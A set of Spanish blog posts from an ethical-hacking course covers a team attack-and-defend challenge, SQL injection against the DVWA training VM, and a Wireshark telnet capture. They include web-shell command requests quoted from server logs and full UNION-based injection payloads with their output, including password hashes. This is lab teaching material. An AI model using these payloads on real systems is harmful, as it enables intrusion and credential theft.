Hacking Ético, El RETO de #moocHackingMU

El reto se desarrollará en dos fases:
  • 1a fase [6 al 12 de octubre]: formaréis equipos de 8 que a su vez se dividirán en dos subequipos (4 y 4): uno encargado de atacar a otros equipos y el otro de “defenderse” de los ataques del resto de equipos. Se proporcionará a cada equipo acceso a un VPS con un servidor web preinstalado y una página web simple (en cuanto a diseño y funcionalidad) pero completa en lo que a proporcionar mecanismos para que pueda ser atacada se refiere.
  • 2a fase [13 al 23 de octubre]: pondremos a prueba vuestro potencial y descubriremos si todo el trabajo anterior os dirige al camino de “El Elegido”. Durante esta segunda fase se harán públicos los sitios web de cada equipo y se pasará a la fase de ‘ataque’. Los equipos, además de detectar vulnerabilidades de otros equipos y guardar evidencias de ello, tendréis que evitar ataques por parte de vuestros compañeros.
Durante la primera fase del reto se compuso el equipo. Para ello se colgó una entrada en el foro informando de la creación de nuestro grupo y solicitando la participación de compañeros hasta completarlo. En un principio, cuando se envió la inscripción el grupo lo componíamos ocho personas.

Para la gestión de los componentes del grupo se creó un grupo de google moocHack7 y mediante la participación en dicho grupo se obtenían los datos de acceso al servidor y otros documentos.

Durante el proceso, la contraseña del servidor fue modificada por motivos de seguridad, puesto que uno de los miembros del grupo lo abandonó después de tener acceso al servidor (IP y password). A partir de ese momento pasamos a ser siete integrantes. 
Finalmente, aunque siete personas aceptan participar en el reto, solamente tres hemos sacado adelante el proyecto, puesto que el resto no ha realizado actividad alguna.

Los integrantes iniciales del equipo fueron: P. Perez, A. Sanchez, Cx.Chuqui, D. Hernández, Pumori3, Alberto Iglesias, Maite Monasterio, Sergio Martín. Los cinco primeros, son los que no han realizado actividad alguna.

Durante la segunda fase intentamos conseguir más integrantes, pero no fue posible, así que las tres personas que quedábamos tuvimos que defender y realizar los ataques. El primer paso fue defender nuestro servidor, para ello instalamos la aplicación fail2ban y se configuró para evitar posibles ataques por fuerza bruta. 

Se realizó una exploración de puertos y servicios activos en el servidor mediante la aplicación nmap, detectándose vulnerabilidades en el puerto 21 (ftp). En la base de datos de vulnerabilidades (NVD) se detectaron fallos en la aplicación cactis y gitlist instaladas y accesibles desde el frontend. 

nmap Análisis de puertos abiertos

PORT  STATE SERVICE   VERSION

21/tcp   open  ftp    vsftpd 2.3.5

22/tcp   open  ssh    OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)

80/tcp   open  http   Apache httpd 2.2.22 ((Debian))

8000/tcp open  http-alt?

Para solventar la vulnerabilidad del puerto ftp, se desactivó el acceso público (cuenta anonymous) que daba acceso al fichero mooc-hacking-team-0065-level-02.gpg

1/tcp open  ftp      vsftpd 2.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0     0         1026 Oct 07 08:15 mooc-hacking-team-0065-level-02.gpg

Para cambiar la configuración, era necesario modificar el fichero /etc/vsftpd.conf

# Allow anonymous FTP? (Disabled by default).
anonymous_enable=YES -> cambiar a NO

Otra de las tareas a realizar era modificar la web con un logo.

Aspecto final servidor web.


En cada servidor el consejo dejo 3 archivos ocultos que se deberían localizar en cada servidor.

Localización de cada archivo cifrado.

root@team-0065:/# find / -name *.gpg
/usr/share/doc/base-files/mooc-hacking-team-0065-level-01.gpg
/srv/ftp/mooc-hacking-team-0065-level-02.gpg
/var/lib/mysql/mooc-hacking-team-0065-level-03.gpg
root@team-0065:/#

La tarea del ataque, se comenzó con la vulnerabilidad más fácil, el ftp. Descargando los archivos de los servidores que tuvieran esta vulnerabilidad. De un total de 72 servidores (5 casi siempre apagados), por lo que nos dejaba 67 posibles víctimas, se consiguieron obtener 25.

level-02

listado de archivos conseguidos y enviado al consejo:

mooc-hacking-team-0003-level-02.gpg
mooc-hacking-team-0010-level-02.gpg
mooc-hacking-team-0025-level-02.gpg
mooc-hacking-team-0028-level-02.gpg
mooc-hacking-team-0035-level-02.gpg
mooc-hacking-team-0039-level-02.gpg
mooc-hacking-team-0042-level-02.gpg
mooc-hacking-team-0044-level-02.gpg
mooc-hacking-team-0051-level-02.gpg
mooc-hacking-team-0052-level-02.gpg
mooc-hacking-team-0053-level-02.gpg
mooc-hacking-team-0055-level-02.gpg
mooc-hacking-team-0057-level-02.gpg
mooc-hacking-team-0058-level-02.gpg
mooc-hacking-team-0059-level-02.gpg
mooc-hacking-team-0060-level-02.gpg
mooc-hacking-team-0063-level-02.gpg
mooc-hacking-team-0064-level-02.gpg
mooc-hacking-team-0069-level-02.gpg
mooc-hacking-team-0070-level-02.gpg
mooc-hacking-team-0071-level-02.gpg
mooc-hacking-team-0072-level-02.gpg
mooc-hacking-team-0074-level-02.gpg
mooc-hacking-team-0075-level-02.gpg
mooc-hacking-team-0077-level-02.gpg

Una vez hechos públicos los servidores, comenzaron los ataques y nuestro servidor también fue atacado. Investigando los logs de acceso (access.log y access.log.1) y de errores (error.log y error.log.1) se detectaron unos registros de una ejecución .php que resultaba sospechosa, puesto que aparecía reiteradamente. Analizar los registros nos permitió detectar y localizar la vulnerabilidad que tenia nuestro servidor y posiblemente los otros. 

/usr/share/cacti/site/include/csrf/csrf-magic.php
/var/www/gitlist/cache/jkn.php
ip servidor/gitlist/cache/x.php?cmd=find%20/%20-type%20f%20-name%20mooc*gpg

El archivo x.php, creaba una consola y permitía ejecutar comandos linux y el resultado se mostraba en la página. El otro archivo jkn.php, localizaba los archivos en el servidor y permitía descargar cada archivo.

Ejemplo 1: x.php?cmd=ls , listaba las carpetas y archivos del servidor.

Resultado: archives jkn.php output.txt salida.txt views x.php z.php

Ejemplo 2: x.php?cmd=find%20/%20-type%20f%20-name%20mooc*gpg buscaba la ubicación de los tres archivos.

Resultado: /usr/share/doc/base-files/mooc-hacking-team-0065-level-01.gpg /srv/ftp/mooc-hacking-team-0065-level-02.gpg /var/lib/mysql/mooc-hacking-team-0065-level-03.gpg

Mediante el otro código php, se analizo el contenido y se averiguó cómo obtener los archivos.

Ip servidor/gitlist/cache/jkn.php?

Resultado: Define level

Si se define el nivel en la consulta a ejecutar /gitlist/cache/jkn.php?level=1, el resultado es una ventana donde se descarga el primer archivo. Modificando el nivel por 2 o 3 se obtendrían el resto de archivos.

Igualmente que se obtenían los archivos de nuestro servidor, es de esperar que sucediera lo mismo con el resto de servidores. Así fue como se consiguió obtener los archivos level-01 y level-03 de otros servidores.

level-01

listado de archivos conseguidos y enviado al consejo:

mooc-hacking-team-0028-level-01.gpg
mooc-hacking-team-0035-level-01.gpg
mooc-hacking-team-0039-level-01.gpg
mooc-hacking-team-0042-level-01.gpg
mooc-hacking-team-0044-level-01.gpg
mooc-hacking-team-0051-level-01.gpg
mooc-hacking-team-0053-level-01.gpg
mooc-hacking-team-0057-level-01.gpg
mooc-hacking-team-0058-level-01.gpg
mooc-hacking-team-0059-level-01.gpg
mooc-hacking-team-0063-level-01.gpg
mooc-hacking-team-0064-level-01.gpg
mooc-hacking-team-0069-level-01.gpg
mooc-hacking-team-0071-level-01.gpg
mooc-hacking-team-0072-level-01.gpg
mooc-hacking-team-0074-level-01.gpg
mooc-hacking-team-0075-level-01.gpg
mooc-hacking-team-0077-level-01.gpg

level-03

listado de archivos conseguidos y enviado al consejo:

mooc-hacking-team-0035-level-03.gpg
mooc-hacking-team-0039-level-03.gpg
mooc-hacking-team-0044-level-03.gpg
mooc-hacking-team-0053-level-03.gpg
mooc-hacking-team-0057-level-03.gpg
mooc-hacking-team-0058-level-03.gpg
mooc-hacking-team-0059-level-03.gpg
mooc-hacking-team-0064-level-03.gpg
mooc-hacking-team-0069-level-03.gpg
mooc-hacking-team-0072-level-03.gpg
mooc-hacking-team-0075-level-03.gpg
mooc-hacking-team-0077-level-03.gpg

Los logros obtenidos, fueron:
  • level-01 18/67 (mooc-hacking-team-xxxx-level-01.gpg)
  • level-02 25/67 (mooc-hacking-team-xxxx-level-02.gpg)
  • level-03 12/67 (mooc-hacking-team-xxxx-level-03.gpg)

Me gustaría mostrar desde aquí mi más sincero agradecimiento a Alberto y Maite por el gran trabajo que han realizado.

Hacking Ético, Descifrando el Enigma

Para resolver el enigma tenéis que poner en práctica los conocimientos adquiridos en las tareas anteriores. En primer lugar debes descarga el archivo de texto Enigma.txt.gpg. En este archivo tienes la información que buscas. Está cifrado con un protocolo simétrico, así que necesitas la clave con la que ha sido cifrado.

Para conseguir la clave, debes acceder a http://pruebas.euskalert.net y demostrar las destrezas adquiridas en tareas anteriores. Yoda te da una pista importante:


Para resolver el enigma, seguiremos los pasos de la tarea 2 de la segunda unidad SQL Injection utilizando los mismos datos de usuario / contraseña y configurando el nivel de seguridad a bajo.

Primero obtendremos la versión de la base de datos, la sentencia a enviar es:

%' or 0=0 union select null, version() #

ID: %' or 0=0 union select null, version() #
First name: admin
Surname: admin

ID: %' or 0=0 union select null, version() #
First name: Gordon
Surname: Brown

ID: %' or 0=0 union select null, version() #
First name: Hack
Surname: Me

ID: %' or 0=0 union select null, version() #
First name: Pablo
Surname: Picasso

ID: %' or 0=0 union select null, version() #
First name: Bob
Surname: Smith

ID: %' or 0=0 union select null, version() #
First name: 
Surname: 5.5.44-0+deb8u1

La version de la base de datos mysql es: Surname: 5.5.44-0+deb8u1

El usuario de la base de datos que ejecuta el código php, cuya sentencia es: %' or 0=0 union select null, user() #
 
ID: %' or 0=0 union select null, user() #
First name: admin
Surname: admin

ID: %' or 0=0 union select null, user() #
First name: Gordon
Surname: Brown

ID: %' or 0=0 union select null, user() #
First name: Hack
Surname: Me

ID: %' or 0=0 union select null, user() #
First name: Pablo
Surname: Picasso

ID: %' or 0=0 union select null, user() #
First name: Bob
Surname: Smith

ID: %' or 0=0 union select null, user() #
First name: 
Surname: dvwa@localhost

El nombre de usuario que ejecuta el código php es: dvwa@localhost

El siguiente punto es obtener el nombre de la base de datos. %' or 0=0 union select null, database() #

ID:  %' or 0=0 union select null, database() #
First name: admin
Surname: admin

ID:  %' or 0=0 union select null, database() #
First name: Gordon
Surname: Brown

ID:  %' or 0=0 union select null, database() #
First name: Hack
Surname: Me

ID:  %' or 0=0 union select null, database() #
First name: Pablo
Surname: Picasso

ID:  %' or 0=0 union select null, database() #
First name: Bob
Surname: Smith

ID:  %' or 0=0 union select null, database() #
First name: 
Surname: dvwa

El nombre de la base de datos es: dvwa

Listar todas las tablas de la base de datos. %' and 1=0 union select null, table_name from information_schema.tables # 
 
ID: %' and 1=0 union select null, table_name from information_schema.tables # 

First name: 
Surname: CHARACTER_SETS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: COLLATIONS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: COLLATION_CHARACTER_SET_APPLICABILITY

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: COLUMNS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: COLUMN_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: ENGINES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: EVENTS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: FILES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: GLOBAL_STATUS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: GLOBAL_VARIABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: KEY_COLUMN_USAGE

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PARAMETERS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PARTITIONS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PLUGINS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PROCESSLIST

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PROFILING

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: REFERENTIAL_CONSTRAINTS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: ROUTINES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: SCHEMATA

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: SCHEMA_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: SESSION_STATUS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: SESSION_VARIABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: STATISTICS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TABLESPACES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TABLE_CONSTRAINTS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TABLE_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TRIGGERS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: USER_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: VIEWS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_BUFFER_PAGE

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_TRX

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_BUFFER_POOL_STATS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_LOCK_WAITS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_CMPMEM

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_CMP

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_LOCKS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_CMPMEM_RESET

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_CMP_RESET

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_BUFFER_PAGE_LRU

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: guestbook

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: users 

Tablas que contenga el prefijo user.

Setencia SQL %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#

ID: Setencia SQL %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
First name: 
Surname: USER_PRIVILEGES
ID: Setencia SQL %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'# First name: Surname: users

De la misma manera (enviando consultas SQL) obtendríamos información de la tablas que su contenido sea 'user', passwords, etc.

Pero si recordamos lo que decía el maestro Yoda, el nombre de la tabla es 'guestbook' que contenido albergará?

 La sentencia SQL para listar las columnas de la tabla 'guestbook' es:

%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #
First name: 
Surname: guestbook
comment_id

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #
First name: 
Surname: guestbook
comment

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #
First name: 
Surname: guestbook
name

Visualizar el contenido de la tabla guestbook.

%' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 1
This is a test comment.
test

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 2
These aren't the droids you'r looking for...
Obi-Wan Kenobi

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 3
The key is "use the force", Luke.
Yoda

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 4
Han Solo shot first!
Anonymous bystander

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 5
Master Kenobi, you disappoint me. Yoda holds you in such high steem. Surely you can do better!
Count Dooku

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 6
At last we will reveal ourselves to the Jedi. At last we will have revenge.
Darth Maul

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 10
Its a trap!
Admiral Ackbar

De toda la información de la tabla, algo curioso es [The key is "use the force", Luke. Yoda], tal vez la clave sea "use the force" para descifrar el enigma.

Para descifrar el fichero, procederemos tal y como se realizó en la tarea 3 de la unidad 1.

Sí todo ha ido bien, aparecera un mensaje similar a este.

sergio@tux:~$ gpg2 --decrypt Enigma.gpg > resultado_enigma.txt
gpg: datos cifrados CAST5
gpg: cifrado con 1 frase contraseña
gpg: ATENCIÓN: la intgridad del mensaje no está protegida
sergio@tux:~$ 

En caso contrario, mostrara un mensaje de Llave de sesión no valida.

sergio@tux:~/ownCloud/mooc_hacking$ gpg2 --decrypt Enigma.gpg > resultado_enigma.txt
gpg: datos cifrados CAST5
gpg: cifrado con 1 frase contraseña
gpg: DBG: borrada frase de paso en caché con ID: SD406FC57F94A64FD
gpg: descifrado fallido: Llave de sesión inválida
sergio@tux:~$ 

El mensaje descifrado fue el siguiente:

¡Enhorabuena! Has resuelto el enigma... ya puedes solicitar audiencia con el Consejo Jedi:
https://www.facebook.com/groups/consejojedimu/






Hacking Ético, Unidad 2 - Tarea 4: Actividad de reflexión

La cuarta tarea de la unidad 2, es una reflexión de lo aprendido anteriormente en la unidad 1 y unidad 2 tareas 1 y 2.

Para analizar las posibles vulnerabilidades de un servidor, lo primero que deberíamos de realizar es obtener información de dicho servidor.

Con unos comandos básicos ping, whois y nmap, se puede obtener: la dirección IP del servidor, dirección, persona de contacto, teléfono, dirección de correo, etc. Con toda la información obtenida, se podría llegar a utilizar para conseguir información confidencial.

Por otro lado, mediante nmap descubriremos que puertos y servicios están disponibles en el servidor y así analizar posibles vulnerabilidades.

Cifrar, firmar un correo electrónico o cifrar determinados archivos, nos proporcionan integridad, privacidad, confidencialidad y autenticación del contenido. Mediante la aplicación gpg hemos aprendido a generar una clave publica, crear y compartir archivos cifrados y desencriptar un archivo cifrado de un tercero, siempre y cuando antes hayamos importado su clave publica.

En la segunda unidad, se ha trabajado el análisis de protocolos mediante la aplicación Wireshark. Con el análisis efectuado, se pudo obtener el nombre de usuario y contraseña del puerto ftp, comandos utilizados y sistema operativo.

Enlazado con el cifrado, se analizó los protocolos SSL y SSH, dado que son cifrados la poca información obtenida fue la versión de ssh, el serial number y la empresa que ha emitido el certificado.

Sí en la primera unidad utilizábamos comandos para obtener información del servidor, en la segunda unidad practicamos con la inyección de SQL que permite recuperar información de las bases de datos, tablas y contenidos. De esta manera enlazamos con descifrar el enigma.

Hacking Ético, Unidad 2 - Tarea 2: SQL injection

Para la segunda tarea de la unidad 2, inyección SQL necesitaremos descargar una maquina virtual de VirtualBox. El archivo está comprimido en 7-zip y el tamaño es de (380MB) dvwa-moocHackingMU-actualizada.7z

Una vez descargada y arrancada la maquina virtual, debería de aparecer una pantalla similar.

Maquina virtual funcionando
Para conectarnos a la maquina virtual desde el navegador, nos fijaremos en la IP asignada y accederemos mediante el siguiente enlace http://192.168.56.101/login.php
Pantalla login DVWA
Una vez que hayamos entrado, seguiremos los pasos 7, 8 y 9 de la lección 6 del manual de inyección SQL.

Paso 7. 

Los datos de acceso son: Username: admin Password: password

Paso 8.

Consiste en cambiar el nivel de seguridad "DVWA Security" de high a low y hacer click en "Submit".

 
DVWA Security
Paso 9.

Inyección manual SQL "SQL Injection"

SQL Injection
Modos básicos de inyección SQL.

Ejemplo 1, escribir un 1 en "User ID:" y "Submit"

Resultado de escribir 1
El resultado obtenido, es una sentencia sql.

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

Ejemplo 2, siempre será True  %' or '0'='0


La intención de esta sentencia es, visualizar todo lo que sea falso o verdadero.

%' probablemente no será igual a nada y el resultado será falso.

'0'='0 Es igual a verdadero, porque 0 siempre será igual a 0

Sentencia sql.
mysql> SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';

Resultado sentencia %' or '0'='0
Ejemplo 3, versión base de datos. %' or 0=0 union select null, version() #

ID: %' or 0=0 union select null, version() #
First name: admin
Surname: admin

ID: %' or 0=0 union select null, version() #
First name: Gordon
Surname: Brown

ID: %' or 0=0 union select null, version() #
First name: Hack
Surname: Me

ID: %' or 0=0 union select null, version() #
First name: Pablo
Surname: Picasso

ID: %' or 0=0 union select null, version() #
First name: Bob
Surname: Smith

ID: %' or 0=0 union select null, version() #
First name: 
Surname: 5.5.44-0+deb8u1

En el campo surname, aparece la versión de la base de datos mysql 5.5.44-0+deb8u1

Ejemplo 4, usuario base de datos. %' or 0=0 union select null, user() #

ID: %' or 0=0 union select null, user() #
First name: admin
Surname: admin

ID: %' or 0=0 union select null, user() #
First name: Gordon
Surname: Brown

ID: %' or 0=0 union select null, user() #
First name: Hack
Surname: Me

ID: %' or 0=0 union select null, user() #
First name: Pablo
Surname: Picasso

ID: %' or 0=0 union select null, user() #
First name: Bob
Surname: Smith

ID: %' or 0=0 union select null, user() #
First name: 
Surname: dvwa@localhost

de igual manera que se podía visualizar la versión de la base de datos, también se visualiza el nombre de usuario dvwa@localhost que ejecuta el código PHP.

Ejemplo 5, nombre de la base de datos. %' or 0=0 union select null, database() #

ID: %' or 0=0 union select null, database() #
First name: admin
Surname: admin

ID: %' or 0=0 union select null, database() #
First name: Gordon
Surname: Brown

ID: %' or 0=0 union select null, database() #
First name: Hack
Surname: Me

ID: %' or 0=0 union select null, database() #
First name: Pablo
Surname: Picasso

ID: %' or 0=0 union select null, database() #
First name: Bob
Surname: Smith

ID: %' or 0=0 union select null, database() #
First name: 
Surname: dvwa

El nombre de la base de datos es dvwa

Ejemplo 6, visualizar todas las tablas de information_schema

%' and 1=0 union select null, table_name from information_schema.tables #

Información de todas las tablas de information_schema

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: CHARACTER_SETS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: COLLATIONS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: COLLATION_CHARACTER_SET_APPLICABILITY

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: COLUMNS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: COLUMN_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: ENGINES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: EVENTS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: FILES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: GLOBAL_STATUS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: GLOBAL_VARIABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: KEY_COLUMN_USAGE

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: PARAMETERS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: PARTITIONS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: PLUGINS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: PROCESSLIST

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: PROFILING

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: REFERENTIAL_CONSTRAINTS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: ROUTINES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: SCHEMATA

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: SCHEMA_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: SESSION_STATUS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: SESSION_VARIABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: STATISTICS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: TABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: TABLESPACES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: TABLE_CONSTRAINTS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: TABLE_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: TRIGGERS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: USER_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: VIEWS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: INNODB_BUFFER_PAGE

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: INNODB_TRX

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: INNODB_BUFFER_POOL_STATS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: INNODB_LOCK_WAITS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: INNODB_CMPMEM

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: INNODB_CMP

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: INNODB_LOCKS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: INNODB_CMPMEM_RESET

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: INNODB_CMP_RESET

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: INNODB_BUFFER_PAGE_LRU

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: guestbook

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: users 

Ejemplo 7, visualizar todas la tablas que tengan el prefijo "User", en la tabla users se encuentran los passwords.

Setencia SQL %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#

Información de todas las tablas que tengan prefijo "User"

ID: %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
First name: 
Surname: USER_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
First name: 
Surname: users

Ejemplo 8, visualizar todos los campos de columna de information_schema tabla user

Sentencia sql:  %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #

Información de la tabla user, se identifican los siguientes campos: user_id, first_name, last_name, user, password, avatar

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name: 
Surname: users
user_id

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name: 
Surname: users
first_name

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name: 
Surname: users
last_name

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name: 
Surname: users
user

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name: 
Surname: users
password

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name: 
Surname: users
avatar

Ejemplo 9, visualizar el contenido de information_schema tabla user

la sentencia sql

%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

Resultado de la consulta sql, aparece el contenido de todos los campos incluido el password.

ID: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name: 
Surname: admin
admin
admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name: 
Surname: Gordon
Brown
gordonb
e99a18c428cb38d5f260853678922e03

ID: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name: 
Surname: Hack
Me
1337
8d3533d75ae2c3966d7e0d4fcc69216b

ID: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name: 
Surname: Pablo
Picasso
pablo
0d107d09f5bbe40cade3de5c71e9e9b7

ID: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name: 
Surname: Bob
Smith
smithy
5f4dcc3b5aa765d61d8327deb882cf99

Hacking Ético, Unidad 2 - Tarea 1: Capturando tráfico con Wireshark

En la primera tarea de la unidad 2, se trata de capturar y analizar tráfico mediante WireShark.

Primera parte: Analizando un protocolo inseguro - telnet (23)

Para la tarea se utilizará un ejemplo del repositorio de Wireshark telnet-raw.pcap.

Una vez cargado, para mejorar la visualización filtraremos por telnet

Trafico filtrado por telnet.
Para analizar los datos, se puede ir bajando fila a fila y observar el contenido de Data: login o bien utilizar la opción TCP Stream en el menú Analyze.


Contenido Data

28 1.308007 192.168.0.1 192.168.0.2 TELNET 73 Telnet Data ...
Data: login: 
36 8.711767 192.168.0.2 192.168.0.1 TELNET 67 Telnet Data ...
Data: f
